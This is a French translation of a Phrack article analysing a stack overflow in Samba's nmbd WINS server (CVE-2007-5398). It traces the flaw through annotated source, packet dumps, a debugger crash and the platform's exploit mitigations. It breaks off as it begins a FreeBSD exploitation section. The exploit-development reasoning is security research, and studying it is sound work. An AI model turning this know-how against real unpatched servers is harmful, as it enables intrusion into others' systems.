==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f |=-----------------------------------------------------------------------=| |=--------------=[ L'art de l'exploitation : ]=-----------------=| |=--------=[ analyse de débordement de pile dans Samba WINS ]=-----------=| |=--------------------------=[ CVE-2007-5398 ]=--------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=------------=[ By max_packetz@felinemenace.org ]=--------------=| |=-----------------------------------------------------------------------=| |=----------------=[ traduit par deny pour arsouyes.org ]=---------------=| --[ 1 - Introduction Le 15 Novembre 2007, l'équipe de Samba a diffusé un bulletin de sécurité [1], détaillant un débordement de pile dans le démon nmbd, particulièrement dans la fonction reply_netbios_packet() de nmbd/nmbd_packets.c. Cette vulnérabilité requiert un ensemble d'opérations de configuration particulière non standard dans smb.conf afin d'activer le chemin du code. Il faut spécifiquement définir wins support = yes. Cette vulnérabilité particulière ne sera pas présente dans une installation par défaut, pas plus qu'elle n'est susceptible d'être trouvée au hasard. Indépendamment de cela, il s'agit d'une faille relativement courante, avec rien qui ne la distingue. Cet article donnera lieu à des commentaires et des analyses personnelles lors de l'analyse et de l'exploitation de ce bogue, chaque petite correction de l'article aura lieu ensuite .. ainsi, si j'invente quelque chose ou si je découvre plus tard quelque chose d'exploitable que j'ai manqué auparavant, vous pourrez tout lire à ce propos. Tout d'abord, je m'intéresserai à la manière dont cela affecte Ubuntu 7.10 par défaut, cependant, plus tard ceci peut changer s'il s'avère que ce n'est pas exploitable, en raison des nombreux mécanismes de protection. --[ 2 - Analyse initiale La différence entre samba-3.0.26 et samba-3.0.27 est affichée directement ci-dessous : --------------------------------------------- --- samba-3.0.26/source/nmbd/nmbd_packets.c +++ samba-3.0.27/source/nmbd/nmbd_packets.c @@ -963,6 +963,12 @@ nmb->answers->ttl = ttl; if (data && len) { + if (len < 0 || len > sizeof(nmb->answers->rdata)) { + DEBUG(5,("reply_netbios_packet: " + "invalid packet len (%d) ", + len )); + return; + } nmb->answers->rdlength = len; memcpy(nmb->answers->rdata, data, len); } --------------------------------------------- Les contrôles supplémentaires ajoutés rendent le problème immédiatement évident. En observant la déclaration de fonction de reply_netbios_packet(), on note : --------------------------------------------- void reply_netbios_packet(struct packet_struct *orig_packet, int rcode, enum netbios_reply_type_code rcv_code, int opcode, int ttl, char *data, int len) { struct packet_struct packet; struct nmb_packet *nmb = NULL; struct res_rec answers; struct nmb_packet *orig_nmb = &orig_packet->packet.nmb; BOOL loopback_this_packet = False; int rr_type = RR_TYPE_NB; const char *packet_type = "unknown"; /* Check if we are sending to or from ourselves. */ if( ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port) ) loopback_this_packet = True; nmb = &packet.packet.nmb; .. --------------------------------------------- En vérifiant pour savoir combien d'espace est alloué à nmb->answers->rdata, on voit : --------------------------------------------- /* A resource record. */ struct res_rec { struct nmb_name rr_name; int rr_type; int rr_class; int ttl; int rdlength; char rdata[MAX_DGRAM_SIZE]; }; nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit is 576 bytes */ --------------------------------------------- Pour déclencher cette vulnérabilité, on doit savoir comment placer le code dans un état vulnérable (avec un champ len volumineux, supérieur à 576 octets.) Grâce à grep -A 6 reply_netbios_ * | less dans source/nmbd, on voit quelque chose de particulièrement intéressant, particulièrement à cause de la directive mentionnant que wins support = yes doit être configuré. --------------------------------------------- nmbd_winsserver.c: reply_netbios_packet(p, /* Packet to reply to. */ nmbd_winsserver.c- 0,/* Result code. */ nmbd_winsserver.c- WINS_QUERY, /* nmbd type code. */ nmbd_winsserver.c- NMB_NAME_QUERY_OPCODE, /* opcode. */ nmbd_winsserver.c- lp_min_wins_ttl(), /* ttl. */ nmbd_winsserver.c- prdata, /* data to send. */ nmbd_winsserver.c- num_ips*6); /* data length. */ ---------------------------------------------- En examinant plus attentivement ce code, on voit qu'il est appelé dans la fonction process_wins_dmb_query_request(). Il parcourt tous les hôtes enregistrés de type 0x1b, les compte, alloue de la mémoire, parcourt de nouveau la liste liée et enregistre les adresses IPs et les drapeaux associés à ces enregistrements. Plus avant, le code ne fait aucune vérification sur les données qu'il est sur le point de transmettre à la fonction reply_netbios_packet(). Le code suivant dans la fonction process_wins_dmb_query_request() de nmbd_winsserver.c présente un intérêt particulier : ---------------------------------------------- for(i = 0; i < namerec->data.num_ips; i++) { set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags); putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]); num_ips++; } ---------------------------------------------- Il construit les données destinées à être traitée avec memcpy() plus tard, incrémentées de 6 octets. Cela pourrait poser un problème plus tard, puisque la disposition de la pile pourrait devoir être contrôlée avec une extrême précision, et les détails du nb_flags pourraient être validés. Puisque le chemin de ce code semble plausible, nous allons commencer à construire un code pour déclencher cette vulnérabilité. En prélevant un paquet et le chargeant dans WireShark [2], on peut chercher un hôte WINS étant enregistré et commencer à travailler sur un exploit. Jusqu'ici pour déclencher cette vulnérabilité depuis la lecture du code, on a besoin d'approximativement (576 / 6) enregistrements de type 0x1b, puis on doit rechercher tous les enregistrements 0x1b. ----------------------------------------------- NetBIOS Name Service Transaction ID: 0x7b60 Flags: 0x2910 (Registration) 0... .... .... .... = Response: Message is a query .010 1... .... .... = Opcode: Registration (5) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... ...1 .... = Broadcast: Broadcast packet Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 1 Queries VULN<20>: type NB, class IN Name: VULN<20> (Server service) Type: NB Class: IN Additional records VULN<20>: type NB, class IN Name: VULN<20> (Server service) Type: NB Class: IN Time to live: 0 time Data length: 6 Flags: 0x6000 (H-node, unique) 0... .... .... .... = Unique name .11. .... .... .... = H-node Addr: 10.1.1.3 ------------------------------------------------ * L'ID de transaction a n'importe quelle valeur sur 16 bits. * Flags a une valeur spécifique, sur 16 bits. * Questions a une valeur sur 16 bits. * Answer RRs a une valeur sur 16 bits. * Authority RRs a une valeur sur 16 bits. * Additional RRs a une valeur sur 16 bits. La section Queries est une chaîne de 32 octets, qui encode le type d'enregistrement, en plus de l'information du type ou de la classe. La section Additional records s'appelle 0xc0 0x0c, ce qui semble indiquer le nom précédemment desarchivé. Plus avant, l'information de type et de classe est présente, avec la durée de vie, l'information au sujet du drapeau de l'hôte et l'information d'adresse. Il semblerait que lorsque l'enregistrement s'effectue, Samba extrait le champ des drapeaux dans l'enregistrement supplémentaire ainsi que l'information d'adresse IP, et l'insère dans la liste liée. En sachant cela, on peut commencer nos tentatives d'exploitation de Samba en utilisant cette vulnérabilité. Pour réduire la quantité de travail qui doit être effectuée, nous utilisons impacket [3] Après avoir écrit un exploit préliminaire, on peut vérifier que le chemin du code que nous avons choisi est correct. Le code déclenchant la vulnérabilité est inclus. Nous développerons l'exploit contre une installation par défaut du serveur Ubuntu 7.10 . Le crash ressemble à ça : ------------------------------------------------ Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1213143376 (LWP 31330)] 0x080cd22e in ?? () (gdb) x/10i 0x80cd22e: cmp (%ecx),%al 0x80cd230: jne 0x80cd242 0x80cd232: movzbl 0xffff0bde(%ebx),%eax 0x80cd239: cmp 0x1(%ecx),%al 0x80cd23c: je 0x80cd35d 0x80cd242: mov 0xffffffbc(%ebp),%edx 0x80cd245: lea 0xffffffe0(%ebp),%esi 0x80cd248: mov 0x50(%edx),%eax 0x80cd24b: movl $0x20,0x8(%esp) 0x80cd253: mov %edx,0x4(%esp) (gdb) i r ecx ecx 0x6b6a6968 1802135912 (gdb) bt #0 0x080cd22e in ?? () #1 0xbfe959c8 in ?? () #2 0x08138721 in ?? () #3 0x00000000 in ?? () ------------------------------------------------ La valeur dans ecx, 0x6b6a6968 est tirée du code déclenché ci-dessus, dans la fonction CreatePackets(), dans la variable ip. Cela nous donne au moins un point de départ pour exploiter le service. --[ 3 - Les mécanisme de sécurité d' Ubuntu 7.10 Voici un rapide récapitulatif des mécanismes préventifs de sécurité que l'on peut observer dans l'installation par défaut de Ubuntu 7.10 * dmesg affiche la protection NX : active * /proc/pid/maps pour nmbd ressemble à : ------------------------------------------------- 08048000-08145000 r-xp 00000000 08:01 462765 /usr/sbin/nmbd 08145000-08150000 rw-p 000fc000 08:01 462765 /usr/sbin/nmbd 08150000-081ea000 rw-p 08150000 00:00 0 [heap] ... b7fdd000-b7ff7000 r-xp 00000000 08:01 279708 /lib/ld-2.6.1.so b7ff7000-b7ff9000 rw-p 00019000 08:01 279708 /lib/ld-2.6.1.so bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0 [stack] ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso] -------------------------------------------------- Ainsi, tandis que la non-exécution peut être active sous une certaine forme, il semble qu'il puisse y avoir quelques voies vers un retour vers le code ou un saut vers le mappage de static vdso. * Il est évident qu'il y a une implémentation du cookie de la pile utilisé par le compilateur qui fabrique nmbd - du fait du résultat en sortie des chaînes. -------------------------------------------------- # strings /usr/sbin/nmbd | grep -i stack | head -n 1 __stack_chk_fail --------------------------------------------------- * Apparmor de SuSE est installé, cependant un bref coup d'oeil montre qu'il ne semble pas être utilisé ? --------------------------------------------------- # apparmor_status apparmor module is loaded. 0 profiles are loaded. 0 profiles are in enforce mode. 0 profiles are in complain mode. 0 processes have profiles defined. 0 processes are in enforce mode : 0 processes are in complain mode. 0 processes are unconfined but have a profile defined. --------------------------------------------------- Je conjecturerais que toutes les régions de la mémoire sont exécutables .. mais nous allons voir comment procéder. Jusqu'ici, les seules choses qui peuvent nous gêner sont : * l'exploit se fait à l'aveugle (à moins qu'une fuite dans la mémoire soit trouvé - sur laquelle on pourra travailler plus tard .. ou si nous sommes chanceux, l'adresse de mémoire statique qu'on peut utiliser) * La randomisation de la mémoire (un petit peu, nous avons un .text statique et un vdso statique) * L'examen du cookie de la pile peut influencer (négativement ou positivement) les moyens dont nous disposons pour exploiter le démon. --[ 4 - Parcourir le code source Pour exploiter la vulnérabilité, on doit faire certaines choses : * examiner quel champ des drapeaux peut être utilisé, puisque nos exploitations techniques doivent garder ceci à l'esprit, ou le shellcode ou les adresses que nous utilisons pourront être affectés en quelque sorte. * Analyser exactement ce que nous débordons, et ce qui est affecté par le débordement de la pile. * Manoeuvrer pour prendre le contrôle du débordement de la mémoire. Pour faciliter le développement de l'exploit, on peut installer le paquetage samba-dbg livré avec Ubuntu 7.10 . Le paquetage samba-dbg a des symboles applicables aux binaires et aux librairies de samba. Cela peut nous aider grandement à exploiter la vulnérabilité, car il fournira des noms de variable, des informations sur les fonctions et plus encore. Puisque nous avons déclenché la vulnérabilité, c'est probablement une bonne idée de commencer à lire dans les paquets et de trouver où la mémoire est utilisée ou définie, et nous orienter vers memcpy(), puis de suivre ce qui suit ici. Le serveur nmbd a une boucle principale de traitement, appelée assez étrangement process(), dans nmbd/nmbd.c. Elle lit et aligne les paquets de réseau, puis traite ces derniers comme ci-dessous : ------------------------------------------ /* * Lire les paquets UDP entrants. * (nmbd_packets.c) */ if(listen_for_packets(run_election)) return; ... /* * Traite tous les paquets entrants lus ci-dessus. Ceci * appelle les fonctions success et failure enregistrées * quand survient la réponse des paquets, et traite * également la requête des paquets provenant d'autres * sources. (nmbd_packets.c) */ run_packet_queue(); ------------------------------------------- Ce qui n'intervient pas dans l'exécution du fichier nmbd/nmbd_packets.c, dans run_packet_queue() run_packet_queue() traite une liste de paquets (comme son nom le suggère), identifiant s'il s'agit d'un paquet NMB, ou un paquet dgram. S'il s'agit d'un paquetNMB, il vérifie s'il s'agit ou non d'une requête, ou d'une réponse. Pendant que nous traitons un type de requête, il remet l'exécution de process_nmb_request() (qui est dans le même fichier que précédemment, nmbd/nmbd_packets.c). process_nmb_request() examine le code opération et remet l'exécution de wins_process_name_query_request() dans nmbd/nmbd_winsserver.c Un extrait partiel de wins_process_name_query_request() est affiché ci-dessous : -------------------------------------------- 1879 /********************************************************************* 1880 Traitement d'un nom de requête. 1881 *********************************************************************/ 1882 1883 void wins_process_name_query_request(struct subnet_record *subrec, 1884 struct packet_struct *p) 1885 { 1886 struct nmb_packet *nmb = &p->packet.nmb; 1887 struct nmb_name *question = &nmb->question.question_name; 1888 struct name_record *namerec = NULL; 1889 unstring qname; 1890 1891 DEBUG(3,( "wins_process_name_query: name query for name %s from IP %s ", 1892 nmb_namestr(question), inet_ntoa(p->ip) )); 1893 1894 /* 1895 * Nom de code spécial. Si le nom requis est *<1b> alors chercher dans la base de données entière et 1996 * renvoyer une liste de toutes les adresses IPs 1897 * enregistré sous n'importe quel nom <1b>. Cela doit permettre aux navigateurs du maître du domaine 1898 * de découvrir d'autres domaines qui peuvent ne pas être présent dans leur sous-réseau. 1899 */ 1900 1901 pull_ascii_nstring(qname, sizeof(qname), question->name); 1902 if(strequal( qname, "*") && (question->name_type == 0x1b)) { 1903 process_wins_dmb_query_request( subrec, p); 1904 return; 1905 } 1906 -------------------------------------------- Puisque notre paquet déclencheur correspond à ce qui est demandé à la ligne 1902, nous sautons alors de nouveau vers process_wins_dmb_query_request dans nmbd_winsserver.c. Des commentaires sont inclus. -------------------------------------------- 1749 /******************************************************************** 1750 Traitement de du nom spécial de la requête pour *<1b> 1751 ********************************************************************/ 1752 1753 static void process_wins_dmb_query_request( struct subnet_record *subrec, 1754 struct packet_struct *p) 1755 { 1756 struct name_record *namerec = NULL; 1757 char *prdata; 1758 int num_ips; 1759 1760 /* 1761 * Parcourt tous les noms ACTIVE names dans la base de donnée WINS cherchant ceux qui finissent par 1762 * <1b>. Emploie ceci pour calculer le nombre d'adresses IP à renvoyer 1763 * 1764 */ 1765 1766 num_ips = 0; 1767 1768 /* Tout d'abord, efface la liste en mémoire - nous allons la repeupler avec 1769 tdb_traversal dans fetch_all_active_wins_1b_names. */ 1770 1771 wins_delete_all_tmp_in_memory_records(); 1772 1773 fetch_all_active_wins_1b_names(); 1774 1775 for( namerec = subrec->namelist; namerec; namerec = namerec->next ) { 1776 if( WINS_STATE_ACTIVE(namerec) && namerec->name.name_type == 0x1b) { 1777 num_ips += namerec->data.num_ips; Compte combien d'adresses IP sont actives, pour l'enregistrement 1778 } 1779 } 1780 1781 if(num_ips == 0) { 1782 /* 1783 * IL n'y a pas de noms 0x1b enregistrés. Le retour de la requête de nom échoue. 1784 */ 1785 send_wins_name_query_response(NAM_ERR, p, NULL); 1786 return; 1787 } 1788 1789 if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) { Alloue la mémoire temporaire demandée. La libère à la fin de la fonction. 1790 DEBUG(0,("process_wins_dmb_query_request: Malloc fail !. ")); 1791 return; 1792 } 1793 1794 /* 1795 * Parcourt de nouveau tous les noms dans la base de données WINS à la recherche de ceux finissant par 1796 * <1b>. Ajoute leurs adresses IP dans la liste que nous 1797 * retournerons. 1798 */ 1799 1800 num_ips = 0; 1801 for( namerec = subrec->namelist; namerec; namerec = namerec->next ) { 1802 if( WINS_STATE_ACTIVE(namerec) && namerec->name.name_type == 0x1b) { Examine la liste chainée des enregistrements de nom, à la recherche d'enregistrements appropriés qui répondent aux exigences ci-dessus. 803 int i; 1804 for(i = 0; i < namerec->data.num_ips; i++) { 1805 set_nb_flags(&prdata[num_ips * 6], namerec->data.nb_flags); 1806 putip((char *)& prdata[(num_ips * 6) + 2], &namerec->data.ip[i]); 1807 num_ips++; 1808 } Copie les données dans la mémoire allouée. La mémoire est composée du type : [2 byte flags field][4 byte ip address] 809 } 1810 } 1811 1812 /* 1813 * Renvoie la réponse contenant la liste d'IP. 1814 */ 1815 1816 reply_netbios_packet(p, /* Packet to reply to. */ 1817 0, /* Result code. */ 1818 WINS_QUERY, /* nmbd type code. */ 1819 NMB_NAME_QUERY_OPCODE, /* opcode. */ 1820 lp_min_wins_ttl(), /* ttl. */ 1821 prdata, /* data to send. */ 1822 num_ips*6); /* data length. */ 1823 Appelle reply_netbios_packet. Si num_ips*6 > 576 est atteint, cela déclenchera la vulnérabilité. 824 SAFE_FREE(prdata); 1825 } 1826 -------------------------------------------- Et en regardant reply_netbios_packet(), on voit : -------------------------------------------- 856 /******************************************************************* 857 Réponse à un nom netbios de paquet. voir rfc1002.txt 858 ********************************************************************/ 859 860 void reply_netbios_packet(struct packet_struct *orig_packet, 861 int rcode, enum netbios_reply_type_code rcv_code, int opcode, 862 int ttl, char *data,int len) 863 { 864 struct packet_struct packet; Paquet struct localement défini sur la pile 865 struct nmb_packet *nmb = NULL; 866 struct res_rec answers; 867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb; 868 BOOL loopback_this_packet = False; 869 int rr_type = RR_TYPE_NB; 870 const char *packet_type = "unknown"; 871 872 /* Vérifie si nous envoyons vers ou à nous-mêmes. */ 873 if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port)) 874 loopback_this_packet = True; 875 876 nmb = &packet.packet.nmb; Pointe nmb à l'intérieur du paquet ci-dessus localement déclaré. 877 878 /* Effectue une copie partielle du paquet. Nous nettoyons le drapeau verrouillé et 879 les indicateurs d'enregistrement de ressource. */ 880 packet = *orig_packet; /* Full structure copy. */ 881 packet.locked = False; Construit la réponse du paquet nmb 882 nmb->answers = NULL; 883 nmb->nsrecs = NULL; 884 nmb->additional = NULL; 885 886 switch (rcv_code) { 887 case NMB_STATUS: 888 packet_type = "nmb_status"; 889 nmb->header.nm_flags.recursion_desired = False; 890 nmb->header.nm_flags.recursion_available = False; 891 rr_type = RR_TYPE_NBSTAT; 892 break; 893 case NMB_QUERY: 894 packet_type = "nmb_query"; 895 nmb->header.nm_flags.recursion_desired = True; 896 nmb->header.nm_flags.recursion_available = True; 897 if (rcode) { 898 rr_type = RR_TYPE_NULL; 899 } 900 break; 901 case NMB_REG: 902 case NMB_REG_REFRESH: 903 packet_type = "nmb_reg"; 904 nmb->header.nm_flags.recursion_desired = True; 905 nmb->header.nm_flags.recursion_available = True; 906 break; 907 case NMB_REL: 908 packet_type = "nmb_rel"; 909 nmb->header.nm_flags.recursion_desired = False; 910 nmb->header.nm_flags.recursion_available = False; 911 break; 912 case NMB_WAIT_ACK: 913 packet_type = "nmb_wack"; 914 nmb->header.nm_flags.recursion_desired = False; 915 nmb->header.nm_flags.recursion_available = False; 916 rr_type = RR_TYPE_NULL; 917 break; 918 case WINS_REG: 919 packet_type = "wins_reg"; 920 nmb->header.nm_flags.recursion_desired = True; 921 nmb->header.nm_flags.recursion_available = True; 922 break; 923 case WINS_QUERY: 924 packet_type = "wins_query"; 925 nmb->header.nm_flags.recursion_desired = True; 926 nmb->header.nm_flags.recursion_available = True; 927 if (rcode) { 928 rr_type = RR_TYPE_NULL; 929 } 930 break; 931 default: 932 DEBUG(0,( "reply_netbios_packet: Unknown packet type: %s %s to ip %s ", 933 packet_type, nmb_namestr(&orig_nmb->question.question_name), 934 inet_ntoa(packet.ip))); 935 return; 936 } 937 938 DEBUG(4,( "reply_netbios_packet: envoi d'une réponse de type: %s %s to ip %s \ 939 for id %hu ", packet_type, nmb_namestr (&orig_nmb->question.question_name), 940 inet_ntoa(packet.ip), orig_nmb->header.name_trn_id)); 941 942 nmb->header.name_trn_id = orig_nmb->header.name_trn_id; 943 nmb->header.opcode = opcode; 944 nmb->header.response = True; 945 nmb->header.nm_flags.bcast = False; 946 nmb->header.nm_flags.trunc = False; 947 nmb->header.nm_flags.authoritative = True; 948 949 nmb->header.rcode = rcode; 950 nmb->header.qdcount = 0; 951 nmb->header.ancount = 1; 952 nmb->header.nscount = 0; 953 nmb->header.arcount = 0; 954 Une fois construit le paquet d'en-tête nmb, commençons le spectacle. 955 memset((char*)&nmb->question,'?',sizeof(nmb->question)); 956 957 nmb->answers = &answers; 958 memset((char*)nmb->answers,'?',sizeof(*nmb->answers)); Réglage nmb->answers, placer la mémoire à zéro 959 960 nmb->answers->rr_name = orig_nmb->question.question_name; 961 nmb->answers->rr_type = rr_type; 962 nmb->answers->rr_class = RR_CLASS_IN; 963 nmb->answers->ttl = ttl; 964 965 if (data && len) { 966 nmb->answers->rdlength = len; 967 memcpy(nmb->answers->rdata, data, len); Déclenche le débordement, qui écrit dans la fonction allouée une copie de answers->rdata, qui est définie ou mentionnée ci-dessus par : /* Un enregistrement de ressource. */ struct res_rec { struct nmb_name rr_name; int rr_type; int rr_class; int ttl; int rdlength; char rdata[MAX_DGRAM_SIZE]; }; nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit is 576 bytes */ 968 } 969 970 packet.packet_type = NMB_PACKET; 971 /* Ensure we send out on the same fd that the original 972 packet came in on to give the correct source IP address. */ 973 packet.fd = orig_packet->fd; 974 packet.timestamp = time(NULL); 975 976 debug_nmb_packet(&packet); 977 978 if(loopback_this_packet) { 979 struct packet_struct *lo_packet; 980 DEBUG(5,( "reply_netbios_packet: sending packet to ourselves. ")); 981 if((lo_packet = copy_packet(&packet)) == NULL) 982 return; 983 queue_packet(lo_packet); 984 } else if (!send_packet(&packet)) { 985 DEBUG(0,( "reply_netbios_packet: send_packet to IP %s port %d failed ", 986 inet_ntoa(packet.ip),packet.port)); 987 } 988 } 989 -------------------------------------------- Malheureusement, tandis que nous avons vu une mention du cookie de la pile et de vérifications, il s'avère que nous ne pouvons juste écrire par dessus l'eip enregistré et tester si le code s'exécute - , en effet, en exécutant l'exploit avec trop peu d'enregistrements, on a ce message : *** stack smashing detected ***: /usr/sbin/nmbd terminated -------------------------------------------- Cela signifie qu'il est possible que nous devrons voir ce que nous pouvons tirer de l'exécution de send_packet(). send_packet() est situé dans libsmb/nmblib.c En regardant send_packet(), on trouve ce qui suit : 982 /******************************************************************* 983 Envoi d'un packet_struct. 984 ******************************************************************/ 985 986 BOOL send_packet(struct packet_struct *p) 987 { 988 char buf[1024]; 989 int len=0; 990 991 memset(buf,'?',sizeof(buf)); 992 993 len = build_packet(buf, p); 994 995 if (!len) 996 return(False); 997 998 return(send_udp(p->fd,buf,len,p->ip,p->port)); 999 } 1000 -------------------------------------------- Le char buf[1024]; semble intéressant, et peut-être utile. Suivi par l'évident : -------------------------------------------- 961 /******************************************************************* 962 Linéarise un paquet. 963 ******************************************************************/ 964 965 int build_packet(char *buf, struct packet_struct *p) 966 { 967 int len = 0; 968 969 switch (p->packet_type) { 970 case NMB_PACKET: 971 len = build_nmb(buf,p); 972 break; 973 974 case DGRAM_PACKET: 975 len = build_dgram(buf,p); 976 break; 977 } 978 979 return len; 980 } -------------------------------------------- Suivi par l'appel une fois encore, à build_nmb(): -------------------------------------------- 881 /******************************************************************* 882 Construit un paquet nmb prêt à envoyer. 883 884 XXXX this currently relies on not being passed something that expands 885 to a packet too big for the buffer. Eventually this should be 886 changed to set the trunc bit so the receiver can request the rest 887 via tcp (when that becomes supported) 888 ******************************************************************/ 889 890 static int build_nmb(char *buf,struct packet_struct *p) 891 { 892 struct nmb_packet *nmb = &p->packet.nmb; 893 unsigned char *ubuf = (unsigned char *)buf; 894 int offset=0; 895 896 /* put in the header */ 897 RSSVAL(ubuf,offset,nmb->header.name_trn_id); 898 ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3; 899 if (nmb->header.response) 900 ubuf[offset+2] |= (1<<7); 901 if (nmb->header.nm_flags.authoritative && 902 nmb->header.response) 903 ubuf[offset+2] |= 0x4; 904 if (nmb->header.nm_flags.trunc) 905 ubuf[offset+2] |= 0x2; 906 if (nmb->header.nm_flags.recursion_desired) 907 ubuf[offset+2] |= 0x1; 908 if (nmb->header.nm_flags.recursion_available && 909 nmb->header.response) 910 ubuf[offset+3] |= 0x80; 911 if (nmb->header.nm_flags.bcast) 912 ubuf[offset+3] |= 0x10; 913 ubuf[offset+3] |= (nmb->header.rcode & 0xF); 914 915 RSSVAL(ubuf,offset+4,nmb->header.qdcount); 916 RSSVAL(ubuf,offset+6,nmb->header.ancount); 917 RSSVAL(ubuf,offset+8,nmb->header.nscount); 918 RSSVAL(ubuf,offset+10,nmb->header.arcount); 919 920 offset += 12; 921 if (nmb->header.qdcount) { 922 /* XXXX this doesn't handle a qdcount of > 1 */ 923 offset += put_nmb_name((char *)ubuf,offset, &nmb->question.question_name); 924 RSSVAL(ubuf,offset,nmb->question.question_type); 925 RSSVAL(ubuf,offset+2,nmb->question.question_class); 926 offset += 4; 927 } 928 929 if (nmb->header.ancount) 930 offset += put_res_rec((char *)ubuf,offset,nmb->answers, 931 nmb->header.ancount); 932 933 if (nmb->header.nscount) 934 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs, 935 nmb->header.nscount); 936 937 /* 938 * The spec says we must put compressed name pointers 939 * in the following outgoing packets : 940 * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST, 941 * NAME_RELEASE_REQUEST. 942 */ 943 944 if((nmb->header.response == False) && 945 ((nmb->header.opcode == NMB_NAME_REG_OPCODE) || 946 (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) || 947 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) || 948 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) || 949 (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) && 950 (nmb->header.arcount == 1)) { 951 952 offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12); 953 954 } else if (nmb->header.arcount) { 955 offset += put_res_rec((char *)ubuf,offset,nmb->additional, 956 nmb->header.arcount); 957 } 958 return(offset); 959 } -------------------------------------------- Suivant l'appel à put_res_rec(), on voit : -------------------------------------------- 388 389 /******************************************************************* 390 Place un enregistrement de ressource dans un paquet. 391 ******************************************************************/ 392 393 static int put_res_rec(char *buf,int offset,struct res_rec *recs, int count) 394 { 395 int ret=0; 396 int i; 397 398 for (i=0;iname,"*") == 0) { 295 /* special case for wildcard name */ 296 put_name(buf1, "*", '?', name->name_type); 297 } else { 298 put_name(buf1, name->name, ' ', name->name_type); 299 } 300 301 buf[offset] = 0x20; 302 303 ret = 34; 304 305 for (m=0;m>4)&0xF); 307 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF); 308 } 309 offset += 33; 310 311 buf[offset] = 0; 312 313 if (name->scope[0]) { 314 /* XXXX this scope handling needs testing */ 315 ret += strlen(name->scope) + 1; 316 safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope)) ; 317 318 p = &buf[offset+1]; 319 while ((p = strchr_m(p,'.'))) { 320 buf[offset] = PTR_DIFF(p,&buf[offset+1]); 321 offset += (buf[offset] + 1); 322 p = &buf[offset+1]; 323 } 324 buf[offset] = strlen(&buf[offset+1]); 325 } 326 327 return(ret); 328 } 329 -------------------------------------------- Et put_name(): -------------------------------------------- 262 /************************************************************* ** 263 Place un nom netbios, padding(s) et un type de nom dans un tampon 264 de 16 caractères 264 Le nom est déjà dans un jeu de caractère DOS. 265 [15 bytes name + padding][1 byte name type]. 266 ************************************************************** */ 267 268 void put_name(char *dest, const char *name, int pad, unsigned int name_type ) 269 { 270 size_t len = strlen(name); 271 272 memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? len : MAX_NETBIOSN AME_LEN - 1); 273 if (len < MAX_NETBIOSNAME_LEN - 1) { 274 memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len); 275 } 276 dest[MAX_NETBIOSNAME_LEN - 1] = name_type; 277 } 278 -------------------------------------------- Ainsi, il apparaît qu'à l'aide d'une requête assez longue, on peut déborder le second char buf[1024]; dans send_packet(), mais à cause de la pile des cookies, on ne peut continuer plus avant. En effet, après quelques expériences, il semble que cela ne soit pas exploitable depuis Ubuntu en standard, à cause de propolice/SSP, et le dernier flux de code ne semble pas nous fournir un mécanisme où on peut écrire dans une autre mémoire que l'on peut contrôler, malheureusement. Ceci dit, je peux avoir oublié quelque chose d'évident ou je peux n'avoir pas compris quelque chose correctement. Si quelqu'un a une solution, j'apprécierai qu'il la donne. Puisque la majorité des autres plates-formes populaires de Linux supporte SSP, j'ai décidé de jeter un coup d'oeil à la distribution courante de FreeBSD et voir si elle était vulnérable ou exploitable, et avec un rapide objdump dans le binaire nmbd, il apparaît que c'est le cas. Il était plutôt décevant d'apprendre qu'après avoir essayé de déclencher la vulnérabilité, il ne semble pas que cela soit exploitable, à cause des cookies dans la pile. (Du moins, d'après mes connaissances actuelles et ma compréhension). Pour ce que j'en sais, apparemment OpenBSD et DragonFly BSD utilisent tout deux SSP et d'autres mécanismes de sécurité.. mais j'ai difficilement travaillé sur BSD , et je ne me soucie guère de leur fonctionnement (ou de leur absence de fonctionnement) --[ 5 - Écrire un exploit pour la version Samba 3.0.23c sur FreeBSD 6.2 ----[ 5.1 - Vérifier les drapeaux d'enregistrements valides Pour exploiter correctement le démon nmbd, on devra contrôler la disposition de la pile avec précision. En examinant comment les données sont présentées, on voit que le paramètre des drapeaux est employé avec ce dont l'hôte est enregistré. À cause de restrictions potentielles, on doit valider les plages qui sont valides et peuvent être employées. En faisant quelques rapides recherches avec grep dans le code source de samba, on trouve le code suivant qui modifie les drapeaux : -------------------------------------------- nmbd_packets.c: uint16 get_nb_flags(char *buf) { return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK); } ../include/nameserv.h:#define NB_FLGMSK 0xE0 nmbd_winserver.c: void wins_process_name_registration_request(struct subnet_record *subrec, struct packet_struct *p) { ... if(registering_group_name && (question->name_type != 0x1c)) { from_ip = *interpret_addr2("255.255.255.255"); } ... -------------------------------------------- D'après ce qui précède, on voit que les seuls bits définis dans la requête des drapeaux sont valides, et selon ce que sont ces bits, ils peuvent modifier l'adresse ip associée avec la requête de registre. Pour simplifier les choses, nous procéderons en utilisant 0x0000 comme drapeau et nous exploiterons le résultat obtenu. --[ 5.2 - Ordonner correctement les données de la pile Samba stocke les enregistrements NMB au format tdb4, un terminal de base de données conçu par l'équipe de Samba pour éviter de réimplémenter le même code plusieurs fois dans Samba. À cause 